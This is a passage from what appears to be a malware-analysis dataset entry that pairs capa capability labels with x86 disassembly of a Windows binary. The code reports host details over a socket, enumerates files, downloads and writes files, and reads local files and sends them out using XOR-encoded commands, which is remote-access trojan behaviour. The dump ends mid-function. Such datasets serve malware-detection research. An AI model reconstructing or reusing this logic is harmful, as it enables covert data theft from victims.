joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49d76c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov ebx, edx
mov edi, eax
lea eax, [esp + 4]
push eax
mov edx, ecx
sub edx, 8
mov esi, ebx
add esi, 8
mov eax, esi
lea ecx, [esp + 4]
call fcn.00468b1c
mov edx, esi
mov eax, dword [esp]
mov ecx, dword [esp + 4]
call fcn.004029a4
mov eax, dword [esp]
call fcn.004027c8
mov eax, dword [esp + 4]
mov dword [ebx + 4], eax
push 0
mov eax, dword [esp + 8]
add eax, 8
push eax
push ebx
push edi
call sub.wsock32.dll_send
test eax, eax
jge 0x49d7c9
push 1
call sub.kernel32.dll_Sleep
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x49d7d0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, eax
mov dword [ebp - 4], pe_nt_image_headers32
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x49d80b
mov eax, ebx
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.00404424
jmp 0x49d817
mov eax, ebx
mov edx, 0x49d824
call fcn.00404208
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x49d82c
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, eax
mov dword [ebp - 4], pe_nt_image_headers32
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x49d867
mov eax, ebx
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.00404424
jmp 0x49d873
mov eax, ebx
mov edx, 0x49d880
call fcn.00404208
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x49d888
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff6c
push ebx
xor ebx, ebx
mov dword [ebp - 0x94], 0x94
lea eax, [ebp - 0x94]
push eax
call sub.kernel32.dll_GetVersionExA
mov eax, dword [ebp - 0x90]
cmp eax, 3
jne 0x49d8b9
mov bl, 4
jmp 0x49d90a
cmp eax, 4
jne 0x49d8e7
mov eax, dword [ebp - 0x8c]
cmp eax, 0xa
jne 0x49d8cd
mov bl, 2
jmp 0x49d90a
cmp eax, 0x5a
jne 0x49d8d6
mov bl, 3
jmp 0x49d90a
cmp dword [ebp - 0x84], 2
jne 0x49d8e3
mov bl, 4
jmp 0x49d90a
mov bl, 1
jmp 0x49d90a
cmp eax, 5
jne 0x49d90a
mov eax, dword [ebp - 0x8c]
test eax, eax
jne 0x49d8fa
mov bl, 5
jmp 0x49d90a
cmp eax, 1
jne 0x49d903
mov bl, 6
jmp 0x49d90a
cmp eax, 2
jne 0x49d90a
mov bl, 7
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x49d914
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa88
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x578], ecx
mov dword [ebp - 0x574], ecx
mov dword [ebp - 0x570], ecx
mov dword [ebp - 0x56c], ecx
mov dword [ebp - 0x568], ecx
mov dword [ebp - 0x564], ecx
mov esi, edx
lea edi, [ebp - 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, eax
xor eax, eax
push ebp
push 0x49daea
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x10], 0
lea eax, [ebp - 0x560]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
push 0x49daf8
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x540], eax
lea eax, [ebp - 0x564]
call fcn.0049d7d0
mov eax, dword [ebp - 0x564]
call fcn.00404474
inc eax
push eax
lea eax, [ebp - 0x568]
call fcn.0049d7d0
mov edx, dword [ebp - 0x568]
lea eax, [ebp - 0x53c]
pop ecx
call fcn.004073b0
lea eax, [ebp - 0x56c]
call fcn.0049d82c
mov eax, dword [ebp - 0x56c]
call fcn.00404474
inc eax
push eax
lea eax, [ebp - 0x570]
call fcn.0049d82c
mov edx, dword [ebp - 0x570]
lea eax, [ebp - 0x437]
pop ecx
call fcn.004073b0
lea eax, [ebp - 0x574]
mov edx, dword [0x52a354]
call fcn.004043ac
mov eax, dword [ebp - 0x574]
call fcn.00404474
mov ecx, eax
inc ecx
lea eax, [ebp - 0x128]
mov edx, dword [0x52a354]
call fcn.004073b0
lea eax, [ebp - 0x578]
mov edx, dword [0x52a350]
call fcn.004043ac
mov eax, dword [ebp - 0x578]
call fcn.00404474
mov ecx, eax
inc ecx
lea eax, [ebp - 0x332]
mov edx, dword [0x52a350]
call fcn.004073b0
call fcn.0049d888
mov byte [ebp - 0x23], al
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x558]
xor edx, edx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
push esi
mov esi, 0x49db04
lea edi, [ebp - 0x22d]
mov ecx, 0x41
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop esi
mov eax, 0x538
mov dword [ebp - 4], eax
add eax, 8
call fcn.004027a8
mov ebx, eax
mov edx, ebx
lea eax, [ebp - 8]
mov ecx, 8
call fcn.004029a4
mov edx, ebx
add edx, 8
lea eax, [ebp - 0x540]
mov ecx, 0x538
call fcn.004029a4
mov ecx, dword [ebp - 4]
add ecx, 8
mov edx, ebx
mov eax, esi
call fcn.0049d76c
mov eax, ebx
call fcn.004027c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49daf1
lea eax, [ebp - 0x578]
mov edx, 6
call fcn.004041d8
ret
Function at 0x49dc0c
Capabilities:
Encode data using xor
Enumerate files on windows
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea8
push ebx
push esi
push edi
mov esi, edx
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x49ddaa
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
test eax, eax
je 0x49dd9c
inc eax
call fcn.004027a8
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 8]
inc edx
mov ebx, dword [ebp - 0x10]
mov eax, ebx
xor ecx, ecx
call fcn.00402dac
push 0
mov eax, dword [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_recv
mov ebx, eax
cmp ebx, dword [ebp - 8]
jne 0x49dd9c
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov ecx, ebx
sub ecx, 2
test ecx, ecx
jl 0x49dc9c
inc ecx
xor ebx, ebx
mov eax, dword [ebp - 0x14]
xor edx, edx
push edx
push eax
mov eax, ebx
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
xor byte [eax], 0x65
inc ebx
dec ecx
jne 0x49dc81
lea eax, [ebp - 0x158]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_FindFirstFileA_1
mov esi, eax
cmp esi, 0xffffffff
jne 0x49dccd
xor eax, eax
mov dword [ebp - 8], eax
lea edx, [ebp - 0xc]
mov ecx, 8
mov eax, dword [ebp - 4]
call fcn.0049d76c
jmp 0x49dd9c
xor ebx, ebx
mov eax, 0x140
call fcn.004027a8
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0x158]
mov ecx, 0x140
call fcn.004029a4
add ebx, 0x140
jmp 0x49dd35
add ebx, 0x140
lea eax, [ebp - 0x18]
mov edx, ebx
call fcn.004027e8
mov eax, dword [ebp - 0x18]
xor edx, edx
push edx
push eax
mov eax, ebx
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
sub eax, 0x140
sbb edx, 0
mov edx, eax
lea eax, [ebp - 0x158]
mov ecx, 0x140
call fcn.004029a4
lea eax, [ebp - 0x158]
push eax
push esi
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
je 0x49dcf7
mov dword [ebp - 8], ebx
lea edi, [ebx + 8]
mov eax, edi
call fcn.004027a8
mov esi, eax
mov edx, esi
lea eax, [ebp - 0xc]
mov ecx, 8
call fcn.004029a4
mov edx, esi
add edx, 8
mov eax, dword [ebp - 0x18]
mov ecx, ebx
call fcn.004029a4
mov ecx, edi
mov edx, esi
mov eax, dword [ebp - 4]
call fcn.0049d76c
mov eax, esi
call fcn.004027c8
mov eax, dword [ebp - 0x18]
call fcn.004027c8
mov eax, dword [ebp - 0x10]
call fcn.004027c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49ddb1
ret
Function at 0x49ddb8
Capabilities:
Download and write a file
Encode data using xor
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov esi, edx
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 4], eax
mov esi, dword [ebp - 8]
push 0
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_recv
mov eax, dword [ebp - 0x14]
inc eax
call fcn.004027a8
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x14]
inc edx
mov ebx, dword [ebp - 0x10]
mov eax, ebx
xor ecx, ecx
call fcn.00402dac
push 0
mov eax, dword [ebp - 0x14]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_recv
sub esi, 4
sub esi, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
sub ecx, 2
test ecx, ecx
jl 0x49de39
inc ecx
xor ebx, ebx
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
mov eax, ebx
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
xor byte [eax], 0x65
inc ebx
dec ecx
jne 0x49de1e
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 0x1c], eax
mov eax, esi
call fcn.004027a8
mov dword [ebp - 0x20], eax
push 0
push esi
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_recv
mov edi, eax
cmp esi, edi
jle 0x49dead
push 0
push esi
mov eax, dword [ebp - 0x20]
xor edx, edx
push edx
push eax
mov eax, edi
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_recv
mov ebx, eax
test ebx, ebx
jle 0x49dea2
add edi, ebx
jmp 0x49dea9
push 0xa
call sub.kernel32.dll_Sleep
cmp esi, edi
jg 0x49de77
push 0
lea eax, [ebp - 0x18]
push eax
push esi
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, dword [ebp - 0x1c]
call fcn.004091ec
mov eax, dword [ebp - 0x20]
call fcn.004027c8
mov eax, dword [ebp - 0x10]
call fcn.004027c8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x49dee0
Capabilities:
Encode data using xor
Get file size
Read file on windows
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov esi, edx
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x49e084
push dword fs:[eax]
mov dword fs:[eax], esp
mov edi, dword [ebp - 8]
lea ebx, [edi + 1]
mov eax, ebx
call fcn.004027a8
mov esi, eax
mov edx, ebx
mov eax, esi
xor ecx, ecx
call fcn.00402dac
push 0
push edi
push esi
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_recv
mov ecx, edi
sub ecx, 2
test ecx, ecx
jl 0x49df53
inc ecx
xor ebx, ebx
mov eax, esi
xor edx, edx
push edx
push eax
mov eax, ebx
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
xor byte [eax], 0x65
inc ebx
dec ecx
jne 0x49df39
push 0
push 0x80
push 4
push 0
push 0
push 0xc0000000
push esi
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
mov edx, esi
call fcn.004043ac
mov eax, esi
call fcn.004027c8
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_GetFileSize
mov edi, eax
cmp edi, 0xffffffff
jne 0x49df9f
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle
jmp 0x49e06e
mov eax, dword [ebp - 0x18]
call fcn.00404474
lea edx, [edi + 0xc]
add eax, edx
inc eax
call fcn.004027a8
mov esi, eax
mov eax, dword [ebp - 0x18]
call fcn.00404474
inc eax
mov dword [ebp - 0x10], eax
lea eax, [edi + 4]
add eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
xor ebx, ebx
mov edx, esi
lea eax, [ebp - 0xc]
mov ecx, 8
call fcn.004029a4
add ebx, 8
mov eax, esi
xor edx, edx
push edx
push eax
mov eax, ebx
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, eax
lea eax, [ebp - 0x10]
mov ecx, 4
call fcn.004029a4
add ebx, 4
mov eax, dword [ebp - 0x18]
call fcn.00404674
push eax
mov eax, esi
xor edx, edx
push edx
push eax
mov eax, ebx
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, eax
mov ecx, dword [ebp - 0x10]
pop eax
call fcn.004029a4
add ebx, dword [ebp - 0x10]
push 0
lea eax, [ebp - 0x10]
push eax
push edi
mov eax, esi
xor edx, edx
push edx
push eax
mov eax, ebx
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_ReadFile
mov eax, dword [ebp - 0x14]
call fcn.004091ec
mov ecx, dword [ebp - 0x10]
add ecx, ebx
mov edx, esi
mov eax, dword [ebp - 4]
call fcn.0049d76c
mov eax, esi
call fcn.004027c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49e08b
lea eax, [ebp - 0x18]
call fcn.004041b4
ret
Function at 0x4a468c
Capabilities:
Encrypt data using openssl rsa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub eax, 1
jb 0x4a46a7
sub eax, 3
je 0x4a46b6
jmp 0x4a46c5
mov eax, dword [ebp - 8]
mov edx, 0x4a46dc
call fcn.00404208
jmp 0x4a46cd
mov eax, dword [ebp - 8]
mov edx, 0x4a46f0
call fcn.00404208
jmp 0x4a46cd
mov eax, dword [ebp - 8]
call fcn.004041b4
pop ecx
pop ecx
pop ebp
ret

Function at 0x4a5920
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff58
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
mov dword [eax], 0x67452301
mov eax, dword [ebp - 0xc]
mov dword [eax + 4], 0xefcdab89
mov eax, dword [ebp - 0xc]
mov dword [eax + 8], 0x98badcfe
mov eax, dword [ebp - 0xc]
mov dword [eax + 0xc], 0x10325476
mov eax, dword [ebp - 8]
shl eax, 3
xor edx, edx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
lea eax, [ebp - 0xa8]
xor ecx, ecx
mov edx, 0x80
call fcn.00402dac
mov eax, dword [ebp - 8]
and eax, 0x3f
mov dword [ebp - 0x1c], eax
mov eax, 0x38
sub eax, dword [ebp - 0x1c]
test eax, eax
jg 0x4a599b
mov eax, 0x78
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
jmp 0x4a59a6
mov eax, 0x38
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0xa8], 0x80
lea edx, [ebp - 0xa8]
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
sub eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
call fcn.004029a4
lea eax, [ebp - 0x18]
mov eax, dword [eax]
mov edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x1c]
lea edx, [ebp + edx - 0xa8]
mov dword [edx], eax
lea eax, [ebp - 0x18]
add eax, 4
mov eax, dword [eax]
mov edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x1c]
lea edx, [ebp + edx - 0xa4]
mov dword [edx], eax
xor eax, eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
add eax, 0x40
cmp eax, dword [ebp - 8]
ja 0x4a5a0e
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
jmp 0x4a5a27
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 8]
ja 0x4a5a21
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x28], eax
jmp 0x4a5a27
lea eax, [ebp - 0x68]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xc]
add eax, 8
push eax
mov eax, dword [ebp - 0xc]
add eax, 0xc
push eax
mov ecx, dword [ebp - 0xc]
add ecx, 4
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x28]
call fcn.004a4860
add dword [ebp - 0x20], 0x40
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x24]
add eax, 8
cmp eax, dword [ebp - 0x20]
jne 0x4a59f8
mov esp, ebp
pop ebp
ret
Function at 0x4a5a5c
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [eax], edx
mov eax, dword [ebp - 4]
add eax, 4
xor ecx, ecx
mov edx, 0x40
call fcn.00402dac
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [eax + 0x44], edx
mov eax, dword [ebp - 4]
mov dword [eax + 0x48], 0x67452301
mov eax, dword [ebp - 4]
mov dword [eax + 0x4c], 0xefcdab89
mov eax, dword [ebp - 4]
mov dword [eax + 0x50], 0x98badcfe
mov eax, dword [ebp - 4]
mov dword [eax + 0x54], 0x10325476
pop ecx
pop ebp
ret
Function at 0x4a6480
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov al, byte [eax + 1]
mov byte [ebp - 0x15], al
mov eax, dword [ebp - 4]
mov al, byte [eax]
mov byte [ebp - 0x16], al
mov eax, dword [ebp + 8]
dec eax
test eax, eax
jl 0x4a6527
inc eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], 0
inc byte [ebp - 0x15]
xor eax, eax
mov al, byte [ebp - 0x15]
mov edx, dword [ebp - 4]
mov al, byte [edx + eax + 2]
mov byte [ebp - 0x17], al
mov al, byte [ebp - 0x17]
add byte [ebp - 0x16], al
xor eax, eax
mov al, byte [ebp - 0x16]
mov edx, dword [ebp - 4]
mov al, byte [edx + eax + 2]
xor edx, edx
mov dl, byte [ebp - 0x15]
mov ecx, dword [ebp - 4]
mov byte [ecx + edx + 2], al
xor eax, eax
mov al, byte [ebp - 0x16]
mov edx, dword [ebp - 4]
mov cl, byte [ebp - 0x17]
mov byte [edx + eax + 2], cl
xor eax, eax
mov al, byte [ebp - 0x15]
mov edx, dword [ebp - 4]
mov al, byte [edx + eax + 2]
add byte [ebp - 0x17], al
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx]
xor edx, edx
mov dl, byte [ebp - 0x17]
mov ecx, dword [ebp - 4]
xor al, byte [ecx + edx + 2]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
mov byte [edx + ecx], al
inc dword [ebp - 0x14]
dec dword [ebp - 0x1c]
jne 0x4a64b3
mov eax, dword [ebp - 4]
mov dl, byte [ebp - 0x16]
mov byte [eax], dl
mov eax, dword [ebp - 4]
mov dl, byte [ebp - 0x15]
mov byte [eax + 1], dl
mov byte [ebp - 0xd], 1
mov al, byte [ebp - 0xd]
mov esp, ebp
pop ebp
ret 4
Function at 0x4a6548
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov al, byte [eax + 1]
mov byte [ebp - 0x15], al
mov eax, dword [ebp - 4]
mov al, byte [eax]
mov byte [ebp - 0x16], al
mov eax, dword [ebp + 8]
dec eax
test eax, eax
jl 0x4a65ef
inc eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], 0
inc byte [ebp - 0x15]
xor eax, eax
mov al, byte [ebp - 0x15]
mov edx, dword [ebp - 4]
mov al, byte [edx + eax + 2]
mov byte [ebp - 0x17], al
mov al, byte [ebp - 0x17]
add byte [ebp - 0x16], al
xor eax, eax
mov al, byte [ebp - 0x16]
mov edx, dword [ebp - 4]
mov al, byte [edx + eax + 2]
xor edx, edx
mov dl, byte [ebp - 0x15]
mov ecx, dword [ebp - 4]
mov byte [ecx + edx + 2], al
xor eax, eax
mov al, byte [ebp - 0x16]
mov edx, dword [ebp - 4]
mov cl, byte [ebp - 0x17]
mov byte [edx + eax + 2], cl
xor eax, eax
mov al, byte [ebp - 0x15]
mov edx, dword [ebp - 4]
mov al, byte [edx + eax + 2]
add byte [ebp - 0x17], al
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx]
xor edx, edx
mov dl, byte [ebp - 0x17]
mov ecx, dword [ebp - 4]
xor al, byte [ecx + edx + 2]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
mov byte [edx + ecx], al
inc dword [ebp - 0x14]
dec dword [ebp - 0x1c]
jne 0x4a657b
mov eax, dword [ebp - 4]
mov dl, byte [ebp - 0x16]
mov byte [eax], dl
mov eax, dword [ebp - 4]
mov dl, byte [ebp - 0x15]
mov byte [eax + 1], dl
mov byte [ebp - 0xd], 1
mov al, byte [ebp - 0xd]
mov esp, ebp
pop ebp
ret 4
Function at 0x4a6648
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
shl eax, 5
mov edx, dword [ebp - 8]
mov edx, dword [edx]
shr edx, 0x1b
or eax, edx
mov edx, dword [ebp + 8]
add eax, dword [edx]
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 0x28]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x28]
sub eax, 0x14
jb 0x4a66c0
sub eax, 0x14
jb 0x4a66e2
sub eax, 0x14
jb 0x4a66fb
sub eax, 0x14
jb 0x4a6727
jmp 0x4a673e
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, dword [ebp + 0x10]
and eax, dword [edx]
mov edx, dword [ebp - 0xc]
mov edx, dword [edx]
not edx
mov ecx, dword [ebp + 0xc]
and edx, dword [ecx]
or eax, edx
add eax, 0x5a827999
add dword [ebp - 0x24], eax
jmp 0x4a673e
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, dword [ebp + 0x10]
xor eax, dword [edx]
mov edx, dword [ebp + 0xc]
xor eax, dword [edx]
add eax, 0x6ed9eba1
add dword [ebp - 0x24], eax
jmp 0x4a673e
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, dword [ebp + 0x10]
and eax, dword [edx]
mov edx, dword [ebp - 0xc]
mov edx, dword [edx]
mov ecx, dword [ebp + 0xc]
and edx, dword [ecx]
or eax, edx
mov edx, dword [ebp + 0x10]
mov edx, dword [edx]
mov ecx, dword [ebp + 0xc]
and edx, dword [ecx]
or eax, edx
add eax, 0x8f1bbcdc
add dword [ebp - 0x24], eax
jmp 0x4a673e
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, dword [ebp + 0x10]
xor eax, dword [edx]
mov edx, dword [ebp + 0xc]
xor eax, dword [edx]
add eax, 0xca62c1d6
add dword [ebp - 0x24], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov edx, dword [ebp + 8]
mov dword [edx], eax
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
shl eax, 0x1e
mov edx, dword [ebp - 0xc]
mov edx, dword [edx]
shr edx, 2
or eax, edx
mov edx, dword [ebp + 0x10]
mov dword [edx], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov dword [edx], eax
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x24]
mov dword [eax], edx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x50
jne 0x4a6684
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
add dword [eax], edx
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
add dword [eax], edx
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp - 0x18]
add dword [eax], edx
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x1c]
add dword [eax], edx
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x20]
add dword [eax], edx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4a6b8c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea8
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea edx, [ebp - 0x158]
mov eax, dword [ebp - 4]
mov ecx, 0x40
call fcn.004029a4
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x158]
mov dword [ebp - 0x10], eax
mov byte [ebp - 0x11], 0
xor eax, eax
mov al, byte [ebp - 0x11]
mov eax, dword [ebp + eax*4 - 0x158]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
mov al, byte [eax + 3]
mov edx, dword [ebp - 0x10]
mov byte [edx], al
mov eax, dword [ebp - 0xc]
mov al, byte [eax + 2]
mov edx, dword [ebp - 0x10]
mov byte [edx + 1], al
mov eax, dword [ebp - 0xc]
mov al, byte [eax + 1]
mov edx, dword [ebp - 0x10]
mov byte [edx + 2], al
mov eax, dword [ebp - 0xc]
mov al, byte [eax]
mov edx, dword [ebp - 0x10]
mov byte [edx + 3], al
add dword [ebp - 0x10], 4
inc byte [ebp - 0x11]
cmp byte [ebp - 0x11], 0x10
jne 0x4a6bc1
mov byte [ebp - 0x11], 0x10
xor eax, eax
mov al, byte [ebp - 0x11]
mov eax, dword [ebp + eax*4 - 0x164]
xor edx, edx
mov dl, byte [ebp - 0x11]
xor eax, dword [ebp + edx*4 - 0x178]
xor edx, edx
mov dl, byte [ebp - 0x11]
xor eax, dword [ebp + edx*4 - 0x190]
xor edx, edx
mov dl, byte [ebp - 0x11]
xor eax, dword [ebp + edx*4 - 0x198]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add eax, eax
mov edx, dword [ebp - 0x18]
shr edx, 0x1f
or eax, edx
xor edx, edx
mov dl, byte [ebp - 0x11]
mov dword [ebp + edx*4 - 0x158], eax
inc byte [ebp - 0x11]
cmp byte [ebp - 0x11], 0x50
jne 0x4a6c0f
mov eax, dword [ebp - 8]
add eax, 0x50
push eax
mov eax, dword [ebp - 8]
add eax, 0x54
push eax
mov eax, dword [ebp - 8]
add eax, 0x58
push eax
mov ecx, dword [ebp - 8]
add ecx, 0x4c
mov edx, dword [ebp - 8]
add edx, 0x48
lea eax, [ebp - 0x158]
call fcn.004a6648
mov esp, ebp
pop ebp
ret

Function at 0x4a6c94
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [eax], edx
mov eax, dword [ebp - 4]
add eax, 4
xor ecx, ecx
mov edx, 0x40
call fcn.00402dac
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [eax + 0x44], edx
mov eax, dword [ebp - 4]
mov dword [eax + 0x48], 0x67452301
mov eax, dword [ebp - 4]
mov dword [eax + 0x4c], 0xefcdab89
mov eax, dword [ebp - 4]
